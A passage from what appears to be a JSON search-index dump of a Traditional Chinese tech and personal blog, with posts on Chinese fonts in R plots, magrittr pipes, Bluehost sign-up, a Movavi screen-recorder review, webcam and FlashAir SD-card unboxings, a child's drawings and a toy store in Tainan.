\u0026#34;橫軸\u0026#34;, ylab = \u0026#34;縱軸\u0026#34;, main = \u0026#34;中文標題\u0026#34;, family = \u0026#34;AR PL UKai TW\u0026#34;) family 可以指定為任何系統上的字型，在 Linux 中若要查詢可用的字型，可以使用 fc-list：\nfc-list /usr/share/fonts/truetype/lato/Lato-Medium.ttf: Lato,Lato Medium:style=Medium,Regular /usr/share/fonts/truetype/tlwg/TlwgTypo-Bold.ttf: Tlwg Typo:style=Bold /usr/share/fonts/truetype/adf/AccanthisADFStd-Regular.otf: Accanthis ADF Std:style=Regular /usr/share/fonts/truetype/lato/Lato-SemiboldItalic.ttf: Lato,Lato Semibold:style=Semibold Italic,Italic /usr/share/texmf/fonts/opentype/public/lm/lmmonolt10-oblique.otf: Latin Modern Mono Light,LM Mono Light 10:style=10 Oblique,Italic [略] 使用 showtext 讀取字型檔 若想要直接使用字型檔並且將圖形輸出至各種圖檔，可以使用 showtext 這個套件：\ninstall.packages(\u0026#34;showtext\u0026#34;) library(showtext) 透過 showtext 套件，我們就可以直接從字型檔讀取字型，並在繪圖時使用：\nshowtext.auto(enable = TRUE) font.add(\u0026#34;康熙字典體\u0026#34;, \u0026#34;康熙字典體.otf\u0026#34;) 這裡我們從 康熙字典體.otf 這個 Open Type 字型檔中讀取字型，建立一個 康熙字典體 字型，接著就可以在一般的繪圖函數中透過 family 參數來使用這個字體。\npng(\u0026#34;output.png\u0026#34;, width = 640, height = 360) plot(runif(10), xlab = \u0026#34;橫軸\u0026#34;, ylab = \u0026#34;縱軸\u0026#34;, main = \u0026#34;中文標題\u0026#34;, family = \u0026#34;康熙字典體\u0026#34;) text(5, 0.7, \u0026#34;這是康熙字典體\u0026#34;, cex = 3, family = \u0026#34;康熙字典體\u0026#34;) dev.off() 這是輸出至 png 圖檔的結果：\nshowtext 支援的字型檔案格式有很多種，包含 True Type、Open Type、Type 1 以及各種網頁字型，而在輸出圖檔格式上則有支援 png、pdf 與 svg。\nggplot2 繪圖系統也可以使用 showtext 更改字型：\nlibrary(ggplot2) png(\u0026#34;output2.png\u0026#34;, width = 640, height = 360) ggplot(data.frame(x = rnorm(100))) + geom_histogram(aes(x)) + labs(x = \u0026#39;數值\u0026#39;, y = \u0026#39;數量\u0026#39;) + theme(text = element_text(family = \u0026#39;康熙字典體\u0026#39;)) + annotate(\u0026#34;text\u0026#34;, x = 0, y = 7, label = \u0026#34;這是康熙字典體\u0026#34;, family = \u0026#39;康熙字典體\u0026#39;, size = 16) dev.off() 這是以 ggplot2 配合 showtext 畫出來的圖形：\n使用 macOS 內建字型 macOS 的使用者可以直接從字體簿中查詢可用的系統字型。\n接著再將查到的字體名稱套用至 family 中即可。以下是一個在 ggplot2 中指定中文字體的範例：\nlibrary(ggplot2) df \u0026lt;- data.frame( RRT = c(72.724, 90.582, 118.956, 45.090, 183.071, 54.094), 資料中心 = factor(rep(c(\u0026#34;tokyo\u0026#34;, \u0026#34;tokyo2\u0026#34;, \u0026#34;singapore\u0026#34;), 2), levels = c(\u0026#34;tokyo\u0026#34;, \u0026#34;tokyo2\u0026#34;, \u0026#34;singapore\u0026#34;)), 測試環境 = factor(c(rep(\u0026#34;Hinet ADSL\u0026#34;, 3), rep(\u0026#34;學術網路\u0026#34;, 3)))) ggplot(df, aes(x = 資料中心, y = RRT, fill = 測試環境)) + geom_bar(position = position_dodge(), stat = \u0026#34;identity\u0026#34;) + theme(text=element_text(family=\u0026#34;黑體-繁 中黑\u0026#34;, size=14)) 這是畫出來的圖形，這樣 ggplot 圖形的中文就可以正常顯示：\n參考資料 From the bottom of the heap Yixuan\u0026rsquo;s Blog Rwepa ","permalink":"https://blog.gtwang.org/r/how-to-use-your-favorite-fonts-in-r-charts/","summary":"\u003cp\u003e這裡介紹如何在使用 R 畫圖時，自行指定中文字型，讓圖形更美觀，同時亦可解決亂碼問題。\u003c/p\u003e\n\u003cp\u003e在使用 R 繪圖時，若需要在圖形中加入中文字，若字型沒有設定好，中文字就很容易出問題。\u003c/p\u003e","title":"R 繪圖與中文字型：在圖形中加入中文，解決亂碼問題"},{"content":"這裡介紹如何註冊與購買 Bluehost 網頁主機空間，自己架設網站。\nBluehost 是一家 WordPress 官方推薦的主機商，因此許多使用 WordPress 架站的人都會考慮使用這家的主機空間，在 WordPress 官方網頁的推薦主機列表中，Bluehost 是第一家。\nBluehost 有提供有多種不同的網頁空間類型，通常剛開始在架設網站時，都會選選擇 shared hosting 這種入門級的網頁空間，它最大的優點就是價格非常便宜，所有的伺服器與資料庫都已經預先架設好了，對於使用 WordPress 架站的人，甚至只要用滑鼠點幾下就可以建立好一個正式的網站。\n以下是 Bluehost 的 shared hosting 註冊與購買教學。\nStep 1\n從 Bluehost 的首頁點選目前的最便宜的 shared hosting 促銷方案。\n通常它的價格都在每個月 3.45 塊美金左右，有時候若遇到官方的短期促銷活動，價格又會稍微低一些，不過基本上這個價格的降幅很有限，像這次我遇到的活動是每個月 2.95 塊美金。\nStep 2\n選擇適合自己的方案，對於一般自己架設網站的人來說，只架設一個網站的話選擇最便宜的「basic」方案就可以了。\nStep 3\n註冊網域名稱，這個網域名稱是購買 Bluehost 主機空間時免費贈送的，使用者可以在這裡建立一個新網域。如果自己本來就已經有申請好的網域，不需要新的網域名稱的話，就把自己既有的網域名稱填在右邊的欄位。\n請注意填寫網域名稱時，要把網址最前面的 www 拿掉，例如若您的網址為 www.example.com，則網域名稱就填 example.com。\nStep 4\n填寫基本資料，請依照下圖中的說明將自己的資料填入。\n這裡的資料要用英文填寫，姓名與地址的英文可以使用以下這些工具來查詢。\n英文姓名翻譯：外交部外文姓名中譯英系統\n英文地址翻譯：郵局中文地址英譯\nStep 5\n選擇租用期間與附加服務，租用期間可以選擇一年到三年，時間比較長的方案通常價格也會比較優惠（促銷期間例外），請一自己的狀況選擇，而其餘附加服務的部分也是看使用者自己的需求選擇，我個人是感覺都用不太到，可以全部取消。\nStep 6\n選擇付款方式，Bluehost 有提供兩種付款方式，一個是使用一般的信用卡線上刷卡付款，另外也可以使用 PayPal 來付款。\n若使用信用卡付款的話就把自己的信用卡資訊填進去，就可以直接付款了，而若是要用 PayPal 來付款，請點選上面的「more payment options」連結，開啟其它的付款方式。\nStep 7\n開啟其它的付款方式之後，就會出現 PayPal 的選項，這裡我示範以 PayPal 來付款的步驟，選擇 PayPal 付款的選項。\nStep 8\n最後在送出前，請記得勾選同意使用條款的選項，然後就可以送出資料了。\nStep 9\n若是用 PayPal 付款的話，接下來就要用 PayPal 的帳號登入。\nStep 10\n登入 PayPal 之後，就會看到 Bluehost 的帳單，確認金額無誤之後，就按下「同意並付款」。\nStep 11\n這樣就完成 Bluehost 網頁空間的購買了，接著點選「create your password」設定自己帳號的密碼。\nStep 12\nBluehost 會限制使用者不能用太簡單的密碼，請使用 8 個字元以上、包含大小寫英文字母、數字還有特殊符號的密碼。\nStep 13\n設定好密碼之後，就可以使用新的密碼登入了，預設的帳號就是自己的網域名稱。登入之後就會到 Bluehost 的 CPanel 控制版面，在這個控制版面有許多的功能，例如電子郵件設定、網站架設、檔案管理、網域管理、資料庫等。\n通常申請好新的空間之後，接著就會把自己的網頁透過 FTP 上傳到它的網頁空間，或是直接使用這裡提供的 WordPress 快速安裝功能，建立一個新網站。\n","permalink":"https://blog.gtwang.org/web-hosting/bluehost-shared-hosting-registration-tutorial/","summary":"\u003cp\u003e這裡介紹如何註冊與購買 Bluehost 網頁主機空間，自己架設網站。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.bluehost.com/\"\u003eBluehost\u003c/a\u003e 是一家 WordPress 官方推薦的主機商，因此許多使用 WordPress 架站的人都會考慮使用這家的主機空間，在 WordPress 官方網頁的推薦主機列表中，Bluehost 是第一家。\u003c/p\u003e","title":"Bluehost 網頁主機空間註冊與購買教學，WordPress 架設網站官方推薦"},{"content":"Movavi Screen Capture Studio 是一套專門用來錄製電腦螢幕畫面與剪輯影片的工具，可將畫面連同聲音一起錄製下來，製作成展示或教學用的短片。\n最近受到 Movavi 官方的邀請，撰寫這一篇關於 Screen Capture Studio 螢幕錄影程式的文章，以下是關於這套軟體的使用介紹。\nScreen Capture Studio 有提供各種語言的使用介面，使用者可以從功能選單中自行選擇語系，但由於本文撰寫的時候，繁體中文版尚未推出，所以這裡以英文版作為示範，未來官方還會再加入繁體中文的語系。\n安裝 Movavi Screen Capture Studio 首先從 Movavi 官方網站下載 Screen Capture Studio 這套軟體，執行後進行安裝，首先選擇語系。\n這裡我以英文的語系做示範，接著進入正式的安裝畫面。\n使用者條款。\n選擇安裝路徑。\n選擇開始選單。\n進行安裝。\n安裝完成。\n安裝完成後，桌面上應該就會多出一個 Movavi Screen Capture Studio 的捷徑，執行後即可開始使用。\n授權碼 從 Movavi 網站上下載的 Screen Capture Studio 雖然是完整版的軟體，不過只有七天的試用期，而且在製作影片時會有試用版的字樣，如果真的要製作正式的影片時，請先購買它的授權。\n有了授權碼之後，就可以啟用正式版的 Screen Capture Studio。輸入授權碼之後，按下「Activate」啟用軟體。\n啟用軟體的時候，需要有網路連線。\n啟用了軟體之後，就可以製作正式的影片了。\n使用 Screen Capture Studio Screen Capture Studio 的功能包含螢幕畫面的擷取、聲音的錄製以及影片的剪輯，軟體開啟之後可以選擇要使用的功能。\n螢幕的錄製功能是 Screen Capture Studio 最主要的功能之一，打開螢幕錄製工具之後，會出現這樣的錄製設定畫面。\n這個螢幕錄製工具的操作方式還滿直覺的，上方的橘色方框就是要錄製的範圍，使用者可以用滑鼠以拖曳的方式調整其位置與大小。下方中間的部份是影片的聲音設定，聲音的來源可以從電腦本身的音效或是外接的麥克風抓取，音量也可以自行調整，右側還有定時錄影的功能。\n透過這個螢幕錄製工具將畫面錄製下來之後，馬上就可以儲存成一般的影片檔，以下是我錄製的兩個範例，第一個是錄製 The King of Towers 這個小遊戲的畫面，整個遊戲的畫面與音效都可以很完整的錄製下來。\n在進行 Screen Capture Studio 的測試時，因為臨時找不到一台乾淨的機器，而我嘗試在 VirtualBox 虛擬機器中錄製螢幕，但是結果失敗了，在 VirtualBox 虛擬機器中錄製出來的畫面會是空白的，而最後選擇在 UP Board 開發板上面測試，所以在玩遊戲時會有些停頓，不過 Screen Capture Studio 在這樣低階的硬體環境下也可以錄製出很好的影片，完全跟真實狀況相同，效果還不錯。\n這裡的音量我把它調整的比較小聲，影片的音量可以在錄製影片時自行調整。\n以下是我錄製一段 YouTube 影片的例子，這個例子就沒有畫面停頓問題。\nScreen Capture Studio 的第二個功能就是錄製聲音，這個小工具就只是單純的錄音機，選擇麥克風之後，就可以開始錄製聲音檔，這個就沒有太多特別的地方。\nScreen Capture Studio 最後一個功能是影片的剪輯，這個工具的設計跟一般影片剪輯軟體差不多，開啟可選擇畫面的比例。\n接著就可以將既有的影片匯入，進行各種的編修動作，素材的來源可以從剛剛上面的畫面與聲音錄製工具直接匯過來，或是從檔案中讀取。\nScreen Capture Studio 還有內建一些影片與圖片素材，這些可以用來製作片頭、片尾或轉場用的畫面，若需要更多這類的素材，可從其官方的網站購買。\n這是影片的各種轉場特效，在不同的影片之間插入這類的特效，可以讓整個影片看起來更順暢。\n文字標題的功能可以讓使用者在影片上加入一些文字與可愛的線條圖案，這些文字與圖案都是會動的。\n文字的顏色、字型、大小等屬性都可以字型調整。\n在濾鏡特效的選單中，可以選擇想要套用至影片的特效。\n最後一個是影片的細部校調選項，可以對影片進行裁切、旋轉、翻轉、縮放、穩定影像、慢動作等等效果。\n將影片都剪輯好之後，即可匯出結果，匯出的影片可以直接使用 H.264 的編碼，還可以選擇各種手持裝置適用的影片格式。\n這是匯出影片的過程。\n這是我用 Screen Capture Studio 影片剪輯功能，將上面錄製螢幕的影片加上片頭與片尾的結果。\n總結來說，Movavi Screen Capture Studio 包含了擷取畫面、聲音與剪輯影片的功能，可以協助使用者擷取影音素材、剪輯與轉檔，製作基本的影片。\n","permalink":"https://blog.gtwang.org/useful-tools/movavi-screen-capture-studio/","summary":"\u003cp\u003eMovavi Screen Capture Studio 是一套專門用來錄製電腦螢幕畫面與剪輯影片的工具，可將畫面連同聲音一起錄製下來，製作成展示或教學用的短片。\u003c/p\u003e\n\u003cp\u003e最近受到 Movavi 官方的邀請，撰寫這一篇關於 Screen Capture Studio \u003ca href=\"https://www.movavi.com/zh/screen-recorder/\"\u003e螢幕錄影程式\u003c/a\u003e的文章，以下是關於這套軟體的使用介紹。\u003c/p\u003e","title":"Movavi Screen Capture Studio 螢幕畫面錄製與影片製作工具"},{"content":"這些是阿玄最近畫的塗鴉畫。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-20160926/","summary":"\u003cp\u003e這些是阿玄最近畫的塗鴉畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-1\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-2\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-3\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-4\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-5\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-6\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-6.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-7\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-8\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-8.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-9\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-9.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160905-10\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160905-10.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160926-1\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160926-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160926-2\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160926-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160926-3\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160926/qixuan-drawing-20160926-3.png\"\u003e\u003c/p\u003e","title":"阿玄的塗鴉畫 2016/09/26"},{"content":"R 的 magrittr 套件提供了一個管線運算子，可以讓函數或運算式串聯在一起，以資料流的方式處理資料的傳遞。\n在 Unix/Linux 系統上的各種指令都可以運用管線（pipe）的方式串接起來使用，以資料流的方式來處理各種資料，使用管線並不會改變程式實際執行的動作，主要的差異只在於讓程式碼更容易被撰寫與閱讀。\n而在 R 中我們則可以使用 magrittr 套件來達到相同的效果，以下介紹 R 傳統的程式撰寫方式以及改用此套件後的寫法。\n傳統方式 若要計算 LogSumExp 函數，以傳統的作法是這樣寫：\nlog(sum(exp(my.var)), exp(1)) 這樣的寫法會讓許多函數與小括號擠在一起，造成程式碼不好閱讀，為了讓程式碼看起來更清晰，有些人會喜歡改成這樣的寫法：\nmy.var \u0026lt;- exp(my.var) my.var \u0026lt;- sum(my.var) log(my.var, exp(1)) 這種寫法雖然可讓程式碼的邏輯很清楚的呈現出來，但是缺點就是 my.var 這個字眼重複出現好幾次。\n以上兩種寫法各有優缺點，傳統的 R 語言寫法只能從兩者之間擇一使用，而後來新的 magrittr 套件結合上述兩種寫法的優點，提供了一種嶄新的簡潔語法。\nmagrittr 套件 magrittr 套件導入一種管線（pipe）的語法，以串流的方式來處理資料的運算，讓程式碼更簡潔、語意更清楚。以下是 magrittr 套件的使用方式教學與範例。\n首先安裝並載入 magrittr 套件：\ninstall.packages(\u0026#34;magrittr\u0026#34;) library(magrittr) %\u0026gt;% 管線運算子 magrittr 套件中最重要的功能就是 %\u0026gt;% 管線運算子，它的作用在於將左側的運算結果傳遞至右側函數的第一個參數，舉例來說，假側我們有一個傳統的 R 運算式如下：\nexp(my.var) 這個運算式是將 my.var 傳遞至 exp 函數中進行冪運算，若以 %\u0026gt;% 管線運算子的方式，則可以改寫為：\nmy.var %\u0026gt;% exp() 在包含 %\u0026gt;% 的運算式中，若一個函數沒有其餘的參數，也可以將小括號省略，簡寫成這樣：\nmy.var %\u0026gt;% exp 這樣的寫法可以將許多層函數包裹在一起的運算拆解開來，以上述的 LogSumExp 函數來說，用 %\u0026gt;% 管線運算子改寫之後就會變成這樣：\nmy.var %\u0026gt;% exp %\u0026gt;% sum %\u0026gt;% log(exp(1)) 預設的狀況下，%\u0026gt;% 管線運算子會將資料傳遞至右側函數的第一個參數，如果需要改變參數的位置，可以使用句點 . 的方式指定資料安插的位置。以下是拿 iris 這個鳶尾花資料集做簡單線性迴歸模型的例子：\niris.lm \u0026lt;- lm(Sepal.Length ~ Sepal.Width, data = iris) summary(iris.lm) 我們可以使用 %\u0026gt;% 管線運算子配合句點 . 將其改寫成：\niris %\u0026gt;% lm(Sepal.Length ~ Sepal.Width, data = .) %\u0026gt;% summary 第一個 %\u0026gt;% 管線運算子會將 iris 安插在 lm 參數列中句點出現的位置，所以執行起來的效果就跟原來的程式一模一樣。\n%$% 運算子 R 的許多函數都會使用 data 參數來指定資料來源的 data frame，然後在函數中取用該 data frame 中的變數，而 %$% 運算子可以讓其左方的物件套用至右方函數的 data 參數中，例如：\niris %$% lm(Sepal.Length ~ Sepal.Width) %\u0026gt;% summary 這樣的用法跟上面 %\u0026gt;% 管線運算子配合句點 .的方式類似，不過可讓程式碼更簡潔。\n這是另外一個計算相關係數的例子：\nmtcars %$% cor(disp, mpg) %\u0026lt;\u0026gt;% 運算子 %\u0026lt;\u0026gt;% 運算子除了具有 %\u0026gt;% 管線運算子的串接功能之外，還可以將其右方的運算結果儲存至左方的變數中。\n假設我們想要讓一個變數進行一連串的運算後，再將結果儲存回原來的變數中，典型的寫法大概是像這樣：\nset.seed(3) x \u0026lt;- rnorm(5) x \u0026lt;- x %\u0026gt;% abs %\u0026gt;% sqrt 這種情況我們就可以用 %\u0026lt;\u0026gt;% 運算子將上面的程式碼改寫為：\nset.seed(3) x \u0026lt;- rnorm(5) x %\u0026lt;\u0026gt;% abs %\u0026gt;% sqrt %T\u0026gt;% tee 運算子 %T\u0026gt;% 運算子的功能也是類似 %\u0026gt;% 管線運算子，只不過在運算完成後，它會傳回原本其左方的輸入值，而不是最終右方運算式計算完的結果。\n假設我們產生了一個含有兩個行（column）的矩陣，想要將資料畫出來，並且同時也計算出兩行數值的總和，一般普通的寫法會像這樣：\nset.seed(3) x \u0026lt;- matrix(rnorm(200), ncol = 2) plot(x) colSums(x) 這裡的資料流結構跟前面的狀況不太一樣，第二行所建立的 x 同時傳給第三行與第四行來使用，這種將資料一分為二的情況就要使用 %T\u0026gt;% tee 運算子來處理，經過 %T\u0026gt;% 改寫後就會變成：\nset.seed(3) rnorm(200) %\u0026gt;% matrix(ncol = 2) %T\u0026gt;% plot %\u0026gt;% colSums 這裡使用 %T\u0026gt;% 的效果就是會讓 matrix 的計算結果同時傳給 plot 與 colSums 兩個數，達到預期的計算結果。\n參考資料 R for Data Science magrittr ","permalink":"https://blog.gtwang.org/r/r-pipes-magrittr-package/","summary":"\u003cp\u003eR 的 \u003ccode\u003emagrittr\u003c/code\u003e 套件提供了一個管線運算子，可以讓函數或運算式串聯在一起，以資料流的方式處理資料的傳遞。\u003c/p\u003e\n\u003cp\u003e在 Unix/Linux 系統上的各種指令都可以運用管線（pipe）的方式串接起來使用，以資料流的方式來處理各種資料，使用管線並不會改變程式實際執行的動作，主要的差異只在於讓程式碼更容易被撰寫與閱讀。\u003c/p\u003e","title":"R magrittr 套件：在 R 中使用管線（Pipe）處理資料流"},{"content":"本篇是羅技 Logitech C920R HD PRO 網路攝影機（webcam）的簡單開箱文。\n最近打算來嘗試使用樹莓派做一些影像相關的應用，所以買了這台高畫質的 USB 網路攝影機，以下做個簡單開箱介紹。\n這是 Logitech C920R HD PRO 網路攝影機包裝。\n這台羅技的 USB 網路攝影機的畫質可以到達 HD 1080p，並且支援 H.264 編碼，可節省電腦的運算負擔。\n內容物很個簡單，就是一個 USB 介面的 Logitech C920R HD PRO 網路攝影機與一本說明書。\n這是 Logitech C920R HD PRO 網路攝影機的玻璃鏡頭。\n其左右兩側有兩個麥克風，可以收立體的聲音。\n這是背面的樣子。\n它的底座還滿穩的，所以直接放在桌上也可以很方便調整角度。\n這個底座也可以打開後，直接夾在螢幕上。\nLogitech C920R HD PRO 網路攝影機的底座有一個螺絲孔，可以直接安裝在一般的相機腳架上。\n這是將 Logitech C920R HD PRO 網路攝影機安裝在曼富圖 Manfrotto 209 492 Long 桌上型腳架上面的樣子。\n這款網路攝影機的鏡頭在啟動時，兩側會有兩條藍色的燈亮起來，代表它正在錄影。\n","permalink":"https://blog.gtwang.org/unboxing/logitech-c920r-hd-pro-webcam/","summary":"\u003cp\u003e本篇是羅技 Logitech C920R HD PRO 網路攝影機（webcam）的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近打算來嘗試使用樹莓派做一些影像相關的應用，所以買了這台高畫質的 USB 網路攝影機，以下做個簡單開箱介紹。\u003c/p\u003e","title":"[開箱] 羅技 Logitech C920R HD PRO 網路攝影機"},{"content":"本篇是 Toshiba FlashAir WiFi SDHC 無線記憶卡的開箱文。\n我們之前介紹過 Eye-Fi mobiPRO 無線記憶卡，可以讓一般的相機使用 WiFi 無線網路傳輸相片至手機或電腦，而最近我們辦公室的同事也買了一張類似功能的 Toshiba FlashAir WiFi SDHC 無線記憶卡，剛好被我看到，就順便借來開箱測試一下。\n這是 Toshiba FlashAir WiFi SDHC 無線記憶卡的外盒。\n盒子上有 Toshiba 的雷射貼紙。\n打開之後，裡面的東西很簡單，只有一張 FlashAir 無線記憶卡，以及一張說明書。\n這張 Toshiba FlashAir WiFi SDHC 無線記憶卡的外觀就跟一般的 SD 卡一模一樣。\n這張 FlashAir 的容量是 32 GB。\n記憶卡的背面有 Made in Japan 日本製造的標示，還有無線網路卡的 MAC 位址。\n其他的照片。\nFlashAir 無線記憶卡的使用方式就跟一般的 SD 卡一樣，直接放進相機的 SD 卡插槽。\n打開相機之後，在相機上瀏覽這張記憶卡中的相片，找到這張記憶卡內建的圖片，記憶卡的 WiFi 無線網路可以透過這張圖片的鎖定功能來開啟或關閉。\n預設的圖片狀態應該是鎖定的（有一隻鑰匙），這時候 WiFi 無線網路是處於關閉的狀態，若要開啟記憶卡的 WiFi 無線網路的話，就使用相機的功能選單，將圖片的鎖定拿掉，這樣記憶卡的 WiFi 無線網路就會開啟了。\n相機設定好之後，接下來就要安裝手機的 App（或是電腦的應用程式），我這裡以 Android 的 App 做示範，iOS 或是一般電腦的用法應該都大同小異。\n首先從 Google Play 上搜尋 FlashAir 這個 Toshiba 官方的 App，安裝起來並且執行之。\n確認 FlashAir 記憶卡的 WiFi 無線網路開啟之後，也讓 Android 手機也開啟 WiFi。\n若 WiFi 設定正確的話，應該就會出現輸入密碼的對話方塊，輸入預設密碼 12345678，連線上 FlashAir 記憶卡之後，可以更改 WiFi 無線網路的 SSID 與密碼，由於它的預設密碼太簡單了，所以使用前一定要先把密碼改一下，否則在外頭拍照之後，所有周圍的人可能都可以透過這個 WiFi 取得記憶卡上的照片。\n設定好 WiFi 無線網路之後，就可以開始透過無線網路瀏覽記憶卡上的資料了。\n瀏覽照片的方式可以使用官方提供的 FlashAir App，或是直接使用一般瀏覽器以網頁的方式瀏覽，若要以瀏覽器看照片的話，可以在連上 WiFi 無線網路之後，於瀏覽器的網址列上輸入這個網址，即可看到記憶卡中的照片了：\nhttp://flashair/ 在傳輸的資料格式上沒有特別的限制，除了一般的照片之外，它也可以傳輸其他各種的檔案，例如影片、聲音、文件檔案等。\n由於 FlashAir 本身就是一個無線網路 AP，也有自己的網頁伺服器，所以任何的手機或是電腦只要連上它的無線網路，就可以用網頁的方式瀏覽記憶卡的資料，這樣的設計在許多應用上會有比較大的彈性。\n如果您是程式開發者，還可以利用 FlashAir 所提供的 API 功能，以 HTTP 協定的方式存取記憶卡，有興趣的人可以參考 FlashAir Developers 的說明文件，上面除了完整的說明，還有許多範例可供參考。\n","permalink":"https://blog.gtwang.org/unboxing/toshiba-flashair-wifi-wireless-sdhc-card/","summary":"\u003cp\u003e本篇是 Toshiba FlashAir WiFi SDHC 無線記憶卡的開箱文。\u003c/p\u003e\n\u003cp\u003e我們之前介紹過 \u003ca href=\"/unboxing/eyefi-mobipro-wifi-sd-card/\"\u003eEye-Fi mobiPRO 無線記憶卡\u003c/a\u003e，可以讓一般的相機使用 WiFi 無線網路傳輸相片至手機或電腦，而最近我們辦公室的同事也買了一張類似功能的 Toshiba FlashAir WiFi SDHC 無線記憶卡，剛好被我看到，就順便借來開箱測試一下。\u003c/p\u003e","title":"[開箱] Toshiba FlashAir WiFi SDHC 無線記憶卡"},{"content":"台南佳里的積木工房是一家微型積木專賣店，店內有小朋友與大人玩的各式積木，適合全家大小來逛。\n積木工房位於佳里的義民街上，很靠近光復路的路口，跟麗嬰房佳里暢貨中心距離非常近，走路就可到，如果去麗嬰房買東西的話，也順便帶小朋友來這裡逛逛。\n積木工房目前已停業。\n店面門口擺放的是適合小朋友玩的造型積木。\n這一區是適合小朋友玩的積木，我看起來這裡的積木都非常漂亮，而且品質都很好，也很便宜，像這一區的價位就都在 100 元以下。\n阿玄今天是第二次來這裡逛，非常認真的在挑自己要的積木。\n門口的另外一區也是適合小朋友玩的積木，但這一區的價位大約在 50 元以下。\n我個人覺得這種四、五十元的小積木很不錯，每一盒都很漂亮，而且品質都不錯，買一盒送給小朋友玩，就可以開心很久。\n店內的展示架上有各式各樣的卡通造型微型積木。\n微型積木的大小比一般小朋友玩的積木還要小一些，所以適合年紀稍微大一點的小朋友玩。\n這裡的微型積木價位都不高，都在幾百塊左右。\n這裡的微型積木有好多種卡通造型，像大家都認識龍貓就是很暢銷的一款微型積木。\n還有很可愛的龍貓公車。\n這是海賊王裡面的喬巴。\n大家都認識的瑪莉兄弟。\n因為這些都是立體的微型積木，所以可以從各個不同的方向來觀賞。\n這是現在很紅的寶可夢小火龍（神奇寶貝）。\n從小火龍的側面還可以看到它尾巴上的火焰。\n把這些角色一字排開。\n還滿有質感的。\n這一些是小型的寶可夢微型積木。\n小型的皮卡丘微型積木。\n這是水精靈。\n這是妙蛙花。\n這是傑尼龜。\n這是哈克龍。\n這是寶貝球。\n海賊王的海軍軍艦、紅色勢力號與九蛇海賊船。\n這些海賊王造型的微型積木組起來真的很漂亮，如果是海賊迷應該都會很喜歡。\n除了大型的微型積木，也有小型的海賊船。\n這是魯夫的黃金梅利號，非常可愛，而且也漂亮。\n還有許多迪士尼的角色，這是米妮。\n小型的米老鼠。\n黛西與高飛狗。\n小朋友都認識的海綿寶寶。\n還有我最喜歡的火影忍者角色，這是風之國砂忍者村的我愛羅，以及火之國木葉忍者村的李洛克。\n歐風的娃娃兵。\n這是鋼彈的微型積木。\n我個人對鋼彈就比較不熟悉了，所以我也不知道它是什麼名字。\n小型的鋼彈。\n部落衝突的野豬騎士，這個造型很吸引人。\n這個是 Hello Kitty 以及其他的卡通造型。\n美國隊長、蝙蝠俠、蜘蛛人。\n店內還有許多各式各樣的微型積木。\n由於造型很多，我就沒有每一個都拍特寫。\n龍師祥瑞與日本大佛，還有一些特色建築。\n我們加阿玄在這裡拿了個籃子挑了好久。\n傍晚的店門口。\n以下是一些低價位的微型積木，有時候遇到促銷活動價格會有變動，此處價格僅供參考。\n","permalink":"https://blog.gtwang.org/children/building-blocks-store-jiali-tainan/","summary":"\u003cp\u003e台南佳里的積木工房是一家微型積木專賣店，店內有小朋友與大人玩的各式積木，適合全家大小來逛。\u003c/p\u003e\n\u003cp\u003e積木工房位於佳里的義民街上，很靠近光復路的路口，跟麗嬰房佳里暢貨中心距離非常近，走路就可到，如果去麗嬰房買東西的話，也順便帶小朋友來這裡逛逛。\u003c/p\u003e","title":"[台南佳里] 